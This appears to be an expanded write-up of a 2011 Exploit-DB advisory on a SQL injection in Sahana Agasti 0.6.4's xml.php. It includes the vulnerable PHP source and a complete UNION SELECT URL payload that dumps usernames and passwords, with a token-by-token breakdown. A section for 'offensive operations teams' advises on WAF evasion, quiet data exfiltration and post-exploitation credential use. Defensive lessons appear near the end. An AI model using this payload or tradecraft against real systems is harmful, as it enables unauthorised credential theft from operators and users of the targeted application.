Exploiting Sahana Agasti 0.6.4 SQL Injection

Exploiting Sahana Agasti 0.6.4 SQL Injection
What this paper is
This paper details a SQL injection vulnerability found in Sahana Agasti version 0.6.4. The vulnerability allows an attacker to inject malicious SQL code into the sel parameter of the xml.php script. This can lead to unauthorized access to sensitive data, such as usernames and passwords from the users table.
Simple technical breakdown
The Sahana Agasti application uses PHP and a database to manage disaster management information. The xml.php script, when processing the add_loc action, takes a parameter named sel. This parameter is directly used in a SQL query without proper sanitization. By crafting a specific value for sel, an attacker can manipulate the SQL query to execute arbitrary SQL commands, including extracting data from other tables.
The core of the vulnerability lies in the _shn_get_level_location() function within ./sahana-0.6.4/www/xml.php.
- The script retrieves the
actparameter from the GET request. - If
actis 'add_loc', it calls_shn_get_level_location(). - Inside
_shn_get_level_location(), it retrieves theselparameter from the GET request. - This
selparameter is then directly embedded into a SQL query:SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}. - The database query is executed using ADOdb.
Because {$level} is directly substituted with the value of $_GET["sel"], an attacker can inject SQL code.
Complete code and payload walkthrough
The provided paper snippet focuses on the vulnerable PHP code and a sample exploit URL. There is no executable exploit code or shellcode provided in the original source. The walkthrough will cover the PHP code and the exploit URL.
PHP Code Snippet:
# Bug: ./sahana-0.6.4/www/xml.php (lines: 17-21, 200-223)
#
# ...
# $act=$_GET{"act"}; //
#
# if($act=='add_loc') // (1)
# {
# _shn_get_level_location(); //
# ...
#
# function _shn_get_level_location(){
# require_once('../3rd/adodb/adodb.inc.php');
# require_once('../conf/sysconf.inc.php');
# //Make the connection to $global['db']
# $db = NewADOConnection($conf['db_engine']);
# $db ->Connect($conf['db_host'].($conf['db_port']?':'.$conf['db_port']:''),$conf['db_user'],$conf['db_pass'],$conf['db_name']);
#
#
# $level=$_GET{"sel"}; // (2)
# if($level==1){
# echo "none,";
# }
# $q = "SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}"; // (3) SQL
# $res_child=$db->Execute($q);
# if($res_child->EOF)
# return;
# while(!$res_child->EOF){
# $res=$res.",".$res_child->fields[1];
# $res=$res.",".$res_child->fields[0];
# $res_child->MoveNext();
# }
# echo $res; // (4)
# }
# ...$act=$_GET{"act"};: This line retrieves the value of theactparameter from the HTTP GET request and stores it in the$actvariable.if($act=='add_loc'): This conditional statement checks if the value of$actis exactly 'add_loc'. If it is, the code block inside thisifstatement will be executed._shn_get_level_location();: If the condition is met, this line calls the function_shn_get_level_location().require_once('../3rd/adodb/adodb.inc.php');: This line includes the ADOdb library, which is a database abstraction layer for PHP.require_once('../conf/sysconf.inc.php');: This line includes a configuration file, likely containing database connection details.$db = NewADOConnection($conf['db_engine']);: This creates a new ADOdb database connection object based on the database engine specified in the configuration.$db ->Connect(...): This line establishes the actual connection to the database using credentials from the configuration file ($conf['db_host'],$conf['db_port'],$conf['db_user'],$conf['db_pass'],$conf['db_name']).$level=$_GET{"sel"};: This is the critical line. It retrieves the value of theselparameter from the HTTP GET request and stores it in the$levelvariable. This value is then directly used in the SQL query.if($level==1){ echo "none,"; }: This is a simple check. If$levelis '1', it outputs "none,". This part is not directly exploitable but is part of the normal logic.$q = "SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}";: This is the SQL query string. The$levelvariable is directly embedded into theWHEREclause. This is where the SQL injection occurs because$levelis not sanitized.$res_child=$db->Execute($q);: This line executes the constructed SQL query$qagainst the database.if($res_child->EOF) return;: Checks if the query returned any results. If not, the function returns.while(!$res_child->EOF){ ... $res_child->MoveNext(); }: This loop iterates through the results of the query. It concatenateslocation.loc_uuidandlocation.nameinto a string$res.echo $res;: Finally, the concatenated string$resis outputted to the browser.
Exploit URL Snippet:
http://site.com/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users
http://site.com/agasti/sahana-0.6.4/www/xml.php: This is the target script.?act=add_loc: This parameter triggers the vulnerable code path withinxml.php.&sel=: This is the vulnerable parameter.1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users: This is the injected SQL payload. Let's break it down:1: This is the initial value for$level. Theif($level==1)check will pass, and "none," will be echoed. This is often used to bypass initial checks or to ensure the query structure remains valid./**/: These are SQL comments. They are used here to bypass potential filters that might look for keywords likeUNIONorSELECTdirectly. The/**/syntax is common in many SQL dialects and is treated as whitespace by the database.UNION: This SQL operator combines the result set of two or moreSELECTstatements.SELECT null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null: This is the secondSELECTstatement.null: The original query selectslocation.name,location.loc_uuid, andparent_id. AUNIONrequires the same number of columns and compatible data types. The attacker providesnullfor the first and third columns to match the original query's structure.concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)): This is the core of the data extraction.CHAR(60,66,82,62): These ASCII codes represent the characters '<', 'B', 'R', '>'. This is likely to prepend the output with<BR>for easier visual parsing in HTML output.concat_ws(char(58),user_name,password):concat_ws(concatenate with separator) joins theuser_nameandpasswordcolumns from theuserstable, using a colon (char(58)) as the separator.
FROM users: This specifies that the data should be retrieved from theuserstable.
Mapping list:
$act=$_GET{"act"};-> Retrieves the action parameter from the URL.if($act=='add_loc')-> Conditional check to enter the vulnerable code path._shn_get_level_location();-> Calls the function containing the vulnerability.$level=$_GET{"sel"};-> Retrieves the vulnerable parameter from the URL.$q = "SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}";-> The SQL query string where the injection occurs.http://site.com/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users-> The complete exploit URL demonstrating the injection.1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users-> The injected payload within theselparameter./**/-> SQL comments used for obfuscation and bypassing filters.UNION-> SQL operator to combine query results.SELECT null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null-> The injectedSELECTstatement to extract data.CHAR(60,66,82,62)-> ASCII codes for<BR>.concat_ws(char(58),user_name,password)-> Concatenates username and password with a colon separator.FROM users-> Specifies the target table for data extraction.
Payload Stages:
There are no distinct stages in the payload itself, as it's a single SQL injection command. The "stages" are conceptual:
- Execution Trigger: The
act=add_locparameter initiates the vulnerable function. - Parameter Injection: The crafted
selparameter containing theUNION SELECTstatement is sent. - Query Manipulation: The database server parses the malicious SQL, executing the
UNIONto combine the original query's (potentially empty) results with the attacker-controlledSELECTstatement. - Data Extraction: The
SELECTstatement retrievesuser_nameandpasswordfrom theuserstable. - Data Presentation: The
concat_wsandCHARfunctions format the extracted data, which is then echoed back to the user via theecho $res;statement in the PHP script.
Practical details for offensive operations teams
- Required Access Level: Low. This is a web application vulnerability, exploitable via unauthenticated HTTP requests.
- Lab Preconditions:
- A running instance of Sahana Agasti version 0.6.4 (or a similarly vulnerable version).
- A web server (e.g., Apache, Nginx) configured to serve PHP.
- A database server (e.g., MySQL, PostgreSQL) configured and accessible by the web application.
- The
userstable must exist in the database and containuser_nameandpasswordcolumns. - The
locationtable must exist withname,loc_uuid, andparent_idcolumns. - The
opt_location_typecolumn must exist in thelocationtable.
- Tooling Assumptions:
- A web browser for manual testing or reconnaissance.
- A web proxy (e.g., Burp Suite, OWASP ZAP) to intercept and modify HTTP requests.
- SQL injection tools (e.g., sqlmap) can automate the discovery and exploitation of this type of vulnerability, though manual crafting is also feasible.
- Execution Pitfalls:
- Database Specific Syntax: The exploit uses
UNION,SELECT,null,concat,CHAR,concat_ws, and comments (/**/). While common, slight variations in database systems (e.g., different versions of MySQL, PostgreSQL) might require minor adjustments to the payload syntax. - Web Application Firewalls (WAFs): Modern WAFs might detect and block the payload based on keywords like
UNIONorSELECT. The use of/**/comments is a basic obfuscation technique, but more sophisticated WAF evasion might be necessary. - Application Logic: The
if($level==1)check might require careful handling. The provided exploit includes1to satisfy this, but if the application logic changes, the payload might need adjustment. - Data Formatting: The output is echoed directly. If the output is very large or contains special characters that break the HTML rendering, it might be difficult to parse. The
<BR>prepended byCHAR(60,66,82,62)is a hint that the output is expected to be rendered in HTML. - Table/Column Names: The exploit assumes specific table (
users,location) and column names (user_name,password,name,loc_uuid,parent_id,opt_location_type). If these names differ in the target environment, the payload must be adapted. - Database Errors: If detailed error messages are not displayed to the user, it can be harder to confirm the injection and extract data.
- Database Specific Syntax: The exploit uses
- Tradecraft Considerations:
- Reconnaissance: Identify the target application and its version. Look for common web application vulnerabilities.
- Payload Crafting: Understand the target database's SQL syntax and common injection techniques.
- Obfuscation: Employ techniques like comments (
/**/,--,#), case variations, or character encoding to bypass security controls. - Data Exfiltration: Plan how to extract and exfiltrate sensitive data without raising immediate alarms. This might involve extracting data in smaller chunks or at specific times.
- Post-Exploitation: Once credentials are obtained, consider how to leverage them for further access or privilege escalation.
Where this was used and when
- Software: Sahana Agasti version 0.6.4.
- Context: The Sahana Agasti project is designed for disaster management preparedness. This vulnerability could have been exploited in any deployment of this software.
- Timeframe: The paper was published in January 2011. Therefore, the vulnerability existed and was likely exploitable in or before 2011. It's unknown if it was actively exploited in the wild, but the potential for exploitation was present.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most crucial lesson. All user-supplied input, especially data passed via GET or POST parameters that are used in database queries, must be rigorously validated and sanitized. Use parameterized queries (prepared statements) to prevent SQL injection entirely.
- Principle of Least Privilege: Ensure database users have only the necessary permissions. The web application's database user should not have administrative privileges or access to tables it doesn't need.
- Secure Coding Practices: Developers should be trained on common web vulnerabilities like SQL injection and how to prevent them. Code reviews should include checks for secure database interaction.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can provide a layer of defense by detecting and blocking known malicious patterns. However, they should not be the sole defense.
- Regular Patching and Updates: Keep all software, including web applications and their underlying frameworks and libraries, up to date with the latest security patches.
- Error Handling: Configure applications to not reveal detailed database error messages to end-users, as these can provide valuable information to attackers.
- Database Auditing: Implement database auditing to log suspicious queries or access patterns.
ASCII visual (if applicable)
This vulnerability is a direct manipulation of a web request and its impact on a database query. A simple flow diagram can illustrate this:
+-----------------+ +-----------------+ +--------------------+
| Attacker's |----->| Web Server |----->| Sahana Agasti |
| Browser/Tool | | (e.g., Apache) | | Application |
+-----------------+ +-----------------+ | (xml.php) |
+---------+----------+
|
| (GET Request: act=add_loc&sel=INJECTED_SQL)
v
+---------+----------+
| PHP Script Logic |
| (Retrieves $level) |
+---------+----------+
|
| (Constructs SQL Query with $level)
v
+---------+----------+
| Database Server |
| (e.g., MySQL) |
+---------+----------+
|
| (Executes UNION SELECT)
v
+---------+----------+
| Data Extraction |
| (users table) |
+---------+----------+
|
| (Returns results)
v
+---------+----------+
| Web Server |
| (Sends Response) |
+---------+----------+
|
| (Displays data to Attacker)
v
+--------------------+
| Attacker's |
| Browser/Tool |
+--------------------+Source references
- Paper ID: 15889
- Paper Title: Sahana Agasti 0.6.4 - SQL Injection
- Author: dun
- Published: 2011-01-01
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/15889
Original Exploit-DB Content (Verbatim)
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ posdub[at]gmail.com ]
################################################################
# [ Sahana Agasti <= 0.6.4 ] SQL Injection Vulnerability #
################################################################
#
# Script: "Agasti is the PHP based project of the Sahana Software Foundation.
# Based a long-term preparedness for disaster management..."
#
# Script site: http://www.sahanafoundation.org/
# Download: https://launchpad.net/sahana-agasti/
#
# [SQL] Vuln:
# http://site.com/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users
#
#
# Bug: ./sahana-0.6.4/www/xml.php (lines: 17-21, 200-223)
#
# ...
# $act=$_GET{"act"}; //
#
# if($act=='add_loc') // (1)
# {
# _shn_get_level_location(); //
# ...
#
# function _shn_get_level_location(){
# require_once('../3rd/adodb/adodb.inc.php');
# require_once('../conf/sysconf.inc.php');
# //Make the connection to $global['db']
# $db = NewADOConnection($conf['db_engine']);
# $db ->Connect($conf['db_host'].($conf['db_port']?':'.$conf['db_port']:''),$conf['db_user'],$conf['db_pass'],$conf['db_name']);
#
#
# $level=$_GET{"sel"}; // (2)
# if($level==1){
# echo "none,";
# }
# $q = "SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}"; // (3) SQL
# $res_child=$db->Execute($q);
# if($res_child->EOF)
# return;
# while(!$res_child->EOF){
# $res=$res.",".$res_child->fields[1];
# $res=$res.",".$res_child->fields[0];
# $res_child->MoveNext();
# }
# echo $res; // (4)
# }
# ...
#
#
###############################################
[ dun / 2011-01-01 ]